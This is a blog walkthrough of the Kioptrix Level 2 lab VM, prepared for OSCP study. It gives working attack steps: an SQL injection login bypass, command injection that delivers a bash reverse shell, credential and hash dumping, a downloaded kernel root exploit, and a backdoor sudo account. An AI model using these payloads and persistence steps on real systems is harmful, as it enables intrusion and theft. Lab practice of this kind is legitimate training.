Kioptrix Level 1.1 (Level 2) Walkthrough (OSCP Prep)

Kioptrix Level 1.1 (Level 2) Walkthrough (OSCP Prep)

Introduction

Kioptrix Level 1.1 (otherwise known as Kioptrix Level 2) is the second machine in the Kioptrix line of vulnerable virtual machines available on VulnHub. This is a relatively straightforward box that is suitable for the beginner penetration tester.

Although exploitation is fairly simple, there is one major rabbit hole that may throw you off track once the initial foothold has been gained.

Tools

Before We Begin

This machine suffers from the same network configuration issues as the first two Kioptrix boxes. If you want to set up this VM on a custom virtual network (highly recommended), refer to my post on changing the virtual network adapter in Kioptrix.

Host Discovery

Before we can begin our attack, we need to find the IP address of the Kioptrix Level 2 machine. I’ll use nmap for a quick ping scan:

┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ nmap -sP -n 10.0.10.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-01 10:51 CDT
Nmap scan report for 10.0.10.2
Host is up (0.00049s latency).
Nmap scan report for 10.0.10.10
Host is up (0.000049s latency).
Nmap scan report for 10.0.10.101
Host is up (0.00069s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.53 seconds

I know that my Kali box is set up to use the static IP 10.0.10.10, and the virtual network’s DHCP pool starts at 10.0.10.100, so our target machine must be sitting at 10.0.10.101.

Scanning and Enumeration

We will use rustscan to quickly search for any open ports on the machine. rustscan quickly finds open ports before invoking nmap for a deeper scan using provided arguments. In this case, we will perform a simple version scan:

┌──(ori0n㉿kali)-[~/kioptrix2]                                                                                       
└─$ rustscan -a10.0.10.101 -- -sV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.                                                             
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |                                                             
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |                                                             
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'                                                             
The Modern Day Port Scanner.                                                                                         
________________________________________                                                                             
: https://discord.gg/GFrQsGy           :                                                                             
: https://github.com/RustScan/RustScan :                                                                             
 --------------------------------------                                                                              
😵 https://admin.tryhackme.com                            

[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"                                                
[~] Automatically increasing ulimit value to 5000.        
Open 10.0.10.101:22          
Open 10.0.10.101:80          
Open 10.0.10.101:111         
Open 10.0.10.101:443         
Open 10.0.10.101:618         
Open 10.0.10.101:631         
Open 10.0.10.101:3306        
[~] Starting Script(s)       
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")                                                            

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-01 10:54 CDT                                                  
NSE: Loaded 45 scripts for scanning.                      
Initiating Ping Scan at 10:54                             
Scanning 10.0.10.101 [2 ports]                            
Completed Ping Scan at 10:54, 0.00s elapsed (1 total hosts)                                                          
Initiating Parallel DNS resolution of 1 host. at 10:54    
Completed Parallel DNS resolution of 1 host. at 10:54, 0.02s elapsed                                                 
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]                     
Initiating Connect Scan at 10:54                          
Scanning 10.0.10.101 [7 ports]                            
Discovered open port 111/tcp on 10.0.10.101               
Discovered open port 3306/tcp on 10.0.10.101              
Discovered open port 443/tcp on 10.0.10.101               
Discovered open port 22/tcp on 10.0.10.101                
Discovered open port 80/tcp on 10.0.10.101                
Discovered open port 618/tcp on 10.0.10.101               
Discovered open port 631/tcp on 10.0.10.101               
Completed Connect Scan at 10:54, 0.00s elapsed (7 total ports)                                                       
Initiating Service scan at 10:54                          
Scanning 7 services on 10.0.10.101                        
Completed Service scan at 10:54, 11.02s elapsed (7 services on 1 host)                                               
NSE: Script scanning 10.0.10.101.                         
NSE: Starting runlevel 1 (of 2) scan.                     
Initiating NSE at 10:54      
Completed NSE at 10:54, 0.06s elapsed                     
NSE: Starting runlevel 2 (of 2) scan.                     
Initiating NSE at 10:54      
Completed NSE at 10:54, 0.03s elapsed                     
Nmap scan report for 10.0.10.101                          
Host is up, received syn-ack (0.00038s latency).          
Scanned at 2021-08-01 10:54:42 CDT for 11s                

PORT     STATE SERVICE    REASON  VERSION 
22/tcp   open  ssh        syn-ack OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http       syn-ack Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind    syn-ack 2 (RPC #100000)
443/tcp  open  ssl/https? syn-ack
618/tcp  open  status     syn-ack 1 (RPC #100024)
631/tcp  open  ipp        syn-ack CUPS 1.1
3306/tcp open  mysql      syn-ack MySQL (unauthorized)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.50 seconds

We see an Apache web server running on the standard port 80, so let’s check that out first.

If we launch our browser and point it to the IP of the Kioptrix machine, we are greeted with a login portal:

Remote System Administration Login portal

We notice from the nmap scan that we have a MySQL server running on the remote host, so perhaps we can try SQL injection. We can use a simple but effective SQLi payload to try to bypass authentication: admin' or 1=1 or '. Use the same string for both the username and password fields.

Attempting SQL injection on the login portal

Now click Login. It works! We are sent to a simple web console that appears to allow us to ping a machine on the network:

Basic Administrative Web Console

By now, it may be clear what the path to a foothold on this machine is. Before we get ahead of ourselves, let’s test out this simple app. I know my Kali box is at 10.0.10.10, so I’ll try to ping this IP from the app.

Pinging myself from the web console

After a few moments, we get the output:

10.0.10.10

PING 10.0.10.10 (10.0.10.10) 56(84) bytes of data.
64 bytes from 10.0.10.10: icmp_seq=0 ttl=64 time=36.0 ms
64 bytes from 10.0.10.10: icmp_seq=1 ttl=64 time=0.252 ms
64 bytes from 10.0.10.10: icmp_seq=2 ttl=64 time=0.201 ms

--- 10.0.10.10 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 0.201/12.154/36.010/16.868 ms, pipe 2

It looks like the application is simply calling the system ping command on the back-end. Perhaps we can try some command injection. Instead of an IP, let’s give the app a semi-colon followed by a common Linux command and see what output it gives us. I’ll use ;id as input.

;id

uid=48(apache) gid=48(apache) groups=48(apache)

And we have command injection! We should now know enough to get ourselves a shell on the remote target.

Initial Foothold

Now that we have discovered command injection within the pingit.php web application, it should be trivial to get a shell. To keep things simple, we can use curl.

The developer tools in Firefox include a feature that will allow you to copy a curl command representing any request which has been made in the browser. To use this feature, from the pingit.php page, do the following:

  1. Press F12 to launch the developer tools.
  2. Open the Network tab of the developer tools to view all HTTP requests.
  3. Reload the page. When prompted, choose to Resend the data.
  4. Find the POST request to the file pingit.php.
  5. Right-click the POST request, highlight Copy, and select Copy as cURL. This will copy a a curl command which can be pasted directly to a shell prompt.
Copying the curl command

Paste this curl command to a shell prompt. Wow, that’s a lot of noise! Fortunately, we only need to worry about the ip field of the --data-raw parameter. We can use a standard bash reverse shell using the following syntax (be sure to replace the IP and port number with your own IP and the port of your listener):

bash > /dev/tcp/10.0.10.10/4242 0>&1 2>&1

Unfortunately, we cannot simply use ampersands in the POST data, as the server will interpret them as delimiting parameters. We need to URL encode the ampersands. A quick search of the ascii man page shows the appropriate hex value for the ampersand is 0x26, or %26 in URL-encoded form.

Now we can replace the --data-raw parameter of our curl command with the following (again, mind your IP and port number):

ip=%3Bbash > /dev/tcp/10.0.10.10/4242 0>%261 2>%261&submit=submit

Launch a netcat listener, and fire away our curl command. We pop a shell!

Popping a shell

Further Enumeration and Privilege Escalation

So we have a shell as the apache user. How do we move on to root?

First things first: Let’s pretty up our shell with a friendlier prompt so we can keep our bearings.

bash -i
bash: no job control in this shell
bash-3.00$ export PS1="\u@\H:\w$ "
apache@kioptrix.level2:/var/www/html$

Down the Rabbit Hole – MySQL

At this point, it may seem logical to begin examining the web application code for any passwords or other useful information. We are already in the web root directory. If we cat out the index.php file, we find some potentially useful login credentials:

<?php                                                                                                                
        mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());                                       
        //print "Connected to MySQL<br />";                                                                          
        mysql_select_db("webapp");                                                                                   

        if ($_POST['uname'] != ""){                                                                                  
                $username = $_POST['uname'];                                                                         
                $password = $_POST['psw'];                                                                           
                $query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";                
                //print $query."<br>";                                                                               
                $result = mysql_query($query);                                                                       

                $row = mysql_fetch_array($result);                                                                   
                //print "ID: ".$row['id']."<br />";                                                                  
        }                                                                                                            

?>

Here we find a user john with password hiroshima who at least has access to the webapp database.

If we take a look at /etc/passwd, we see that john is also a system account. We can try to SSH into the box using these discovered credentials:

┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ ssh john@10.0.10.101              
john@10.0.10.101's password: 
Permission denied, please try again.
john@10.0.10.101's password:

No luck. Perhaps we can dig into the database a bit more?

It is cumbersome to use the MySQL client from our limited shell, so we can try to access the database server remotely:

┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ mysql -h 10.0.10.101 -u john -p
Enter password: 
ERROR 1130 (HY000): Host '10.0.10.10' is not allowed to connect to this MySQL server

It seems we cannot access the MySQL server remotely. However, we can run individual SQL queries by passing them to the mysql command directly from the command line. Let’s dig for more creds:

apache@kioptrix.level2:/var/www/html$ mysql -u john -p webapp -e 'show tables'
Enter password: hiroshima
Tables_in_webapp
users
apache@kioptrix.level2:/var/www/html$ mysql -u john -p webapp -e 'describe users'
Enter password: hiroshima
Field   Type    Null    Key     Default Extra
id      int(11) YES             NULL
username        varchar(100)    YES             NULL
password        varchar(10)     YES             NULL
apache@kioptrix.level2:/var/www/html$ mysql -u john -p webapp -e 'select * from users'
Enter password: hiroshima
id      username        password
1       admin   5afac8d85f
2       john    66lajGGbla

These passwords will log us into the web console, but will they work over SSH? We know from the /etc/passwd file that we have the users john, harold, and, of course, root. Trying both passwords with all three users is unsuccessful.

Perhaps we can gather more credentials from the database. Since we are using a MySQL database, we cat attempt to enumerate the mysql.user table for more usernames and passwords:

apache@kioptrix.level2:/var/www/html$ mysql -u john -p mysql -e 'select user,password from user'
Enter password: hiroshima
user    password
root    5a6914ba69e02807
root    5a6914ba69e02807


john    5a6914ba69e02807

Let’s try to crack this hash. In the interest of speed, we can try to use CrackStation at first. Paste the hash in, and click Crack Hashes.

Attempting to crack MySQL hash with CrackStation

We have no luck with CrackStation. Let’s try john:

┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ echo john:5a6914ba69e02807 > hashes                                      

┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ john hashes --wordlist=/usr/share/wordlists/passwords/rockyou.txt --fork=4
Warning: detected hash type "asa-md5", but the string is also recognized as "mysql"
Use the "--format=mysql" option to force loading these as that type instead
Warning: detected hash type "asa-md5", but the string is also recognized as "oracle"
Use the "--format=oracle" option to force loading these as that type instead
Warning: detected hash type "asa-md5", but the string is also recognized as "pix-md5"
Use the "--format=pix-md5" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (asa-md5, Cisco ASA [md5($p.$s) (Cisco ASA) 128/128 AVX 4x3])
Node numbers 1-4 of 4 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
1 0g 0:00:00:02 DONE (2021-08-01 12:17) 0g/s 1461Kp/s 1461Kc/s 1461KC/s !1hesaves.abygurl69
Waiting for 3 children to terminate
4 0g 0:00:00:02 DONE (2021-08-01 12:17) 0g/s 1399Kp/s 1399Kc/s 1399KC/s !31013057c.ie168
2 0g 0:00:00:02 DONE (2021-08-01 12:17) 0g/s 1301Kp/s 1301Kc/s 1301KC/s !sd619.a6_123
3 0g 0:00:00:02 DONE (2021-08-01 12:17) 0g/s 1417Kp/s 1417Kc/s 1417KC/s !sanabel!..xCvBnM,
Session completed

No luck here either. At this point, it’s beginning to feel like the database will not be useful in the compromise of the Kioptrix machine. Let’s move on.

Further Enumeration

We can try to look for any listening ports which are only available locally (and therefore would not have shown up in our initial nmap scan):

apache@kioptrix.level2:/var/www/html$ netstat -nltp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   
tcp        0      0 0.0.0.0:3306                0.0.0.0:*                   LISTEN      -                   
tcp        0      0 0.0.0.0:618                 0.0.0.0:*                   LISTEN      -                   
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      -                   
tcp        0      0 0.0.0.0:631                 0.0.0.0:*                   LISTEN      -                   
tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN      -                   
tcp        0      0 :::80                       :::*                        LISTEN      9556/sh             
tcp        0      0 :::22                       :::*                        LISTEN      -                   
tcp        0      0 :::443                      :::*                        LISTEN      9556/sh

There doesn’t seem to be anything interesting here. Next, let’s enumerate more details about the underlying system:

apache@kioptrix.level2:/var/www/html$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
apache@kioptrix.level2:/var/www/html$ lsb_release -a
LSB Version:    :core-3.0-ia32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.0-noarch
Distributor ID: CentOS
Description:    CentOS release 4.5 (Final)
Release:        4.5
Codename:       Final

Maybe there are exploits for this distribution? Let’s use searchsploit:

┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ searchsploit centos 4.5             
----------------------------------------------------------------------------------- ----------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ----------------------------
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) | linux/local/9479.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - | linux_x86/local/9542.c
Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Local Privilege Escalation      | linux/local/35370.c
----------------------------------------------------------------------------------- ----------------------------
Shellcodes: No Results

The second exploit looks interesting. Let’s mirror and rename it:

┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ searchsploit -m linux_x86/local/9542.c
  Exploit: Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)
      URL: https://www.exploit-db.com/exploits/9542
     Path: /usr/share/exploitdb/exploits/linux_x86/local/9542.c
File Type: C source, ASCII text, with CRLF line terminators

Copied to: /home/ori0n/kioptrix2/9542.c



┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ mv 9542.c exploit.c

This is a local exploit, so we will need to run it on the remote target. I will use updog to spin up a quick HTTP server to transfer the source code.

┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ updog
[+] Serving /home/ori0n/kioptrix2...
 * Running on http://0.0.0.0:9090/ (Press CTRL+C to quit)

From the remote shell, we will pull down the source code, compile, and run:

apache@kioptrix.level2:/var/www/html$ cd /tmp
apache@kioptrix.level2:/tmp$ wget 10.0.10.10:9090/exploit.c
--10:25:35--  http://10.0.10.10:9090/exploit.c
           => `exploit.c'
Connecting to 10.0.10.10:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,643 (2.6K) [text/x-csrc]

    0K ..                                                    100%  420.09 MB/s

10:25:35 (420.09 MB/s) - `exploit.c' saved [2643/2643]

apache@kioptrix.level2:/tmp$ gcc -o exploit exploit.c
exploit.c:109:28: warning: no newline at end of file
apache@kioptrix.level2:/tmp$ ./exploit
sh: no job control in this shell
root@kioptrix.level2:/tmp$ id
uid=0(root) gid=0(root) groups=48(apache)

The prompt is misleading, but we have root!

Post-Exploitation

Now that we have root, we will clean up and create a user for persistent access.

First, remove the exploit:

root@kioptrix.level2:/tmp$ rm /tmp/exploit*
root@kioptrix.level2:/tmp$ ls -al
total 20
drwxr-xrwx   4 root root 4096 Aug  1 10:28 .
drwxr-xr-x  23 root root 4096 Aug  1 08:22 ..
drwxrwxrwt   2 root root 4096 Aug  1 08:22 .font-unix
drwxrwxrwt   2 root root 4096 Aug  1 08:22 .ICE-unix

Now let’s create our own user and grant him sudo privileges:

root@kioptrix.level2:/tmp$ useradd ori0n
root@kioptrix.level2:/tmp$ passwd ori0n
New UNIX password: dontmindme
Retype new UNIX password: dontmindme
Changing password for user ori0n.
passwd: all authentication tokens updated successfully.
root@kioptrix.level2:/tmp$ echo ori0n ALL=(ALL) ALL >> /etc/sudoers
root@kioptrix.level2:/tmp$ tail -n4 /etc/sudoers
# %users  ALL=/sbin/mount /cdrom,/sbin/umount /cdrom
# %users  localhost=/sbin/shutdown -h now

ori0n ALL=(ALL) ALL

SSH in and verify our privileges:

┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ ssh ori0n@10.0.10.101                                                                                        1 ⨯
ori0n@10.0.10.101's password: 
Last login: Sun Aug  1 10:31:15 2021 from 10.0.10.10
[ori0n@kioptrix ~]$ sudo -l
Password:
User ori0n may run the following commands on this host:
    (ALL) ALL

Looks good! One last test:

[ori0n@kioptrix ~]$ sudo -s
[root@kioptrix ~]# head /etc/shadow
root:$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.:14529:0:99999:7:::
bin:*:14525:0:99999:7:::
daemon:*:14525:0:99999:7:::
adm:*:14525:0:99999:7:::
lp:*:14525:0:99999:7:::
sync:*:14525:0:99999:7:::
shutdown:*:14525:0:99999:7:::
halt:*:14525:0:99999:7:::
mail:*:14525:0:99999:7:::
news:*:14525:0:99999:7:::

And we have fully compromised the box!

Wrapping Up

I looked into other potential attack vectors on this machine. Of particular interest was the CUPS daemon running on port 631. While there were known exploits for the particular version of CUPS, without a printer installed – and without the necessary privileges to add one – this route felt like a dead end. In the end, the only path to root I was able to find is the route described in this post.

Overall, Kioptrix Level 2 is a simple machine. It was easy, however, to get sucked into a rabbit hole searching for credentials in the MySQL database. A good lesson from this experience is to always enumerate the system at the lowest level first: look for kernel exploits or exploits which are specifically targeted at the appropriate release of the distribution.

When you’re ready, move on to Kioptrix Level 3.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.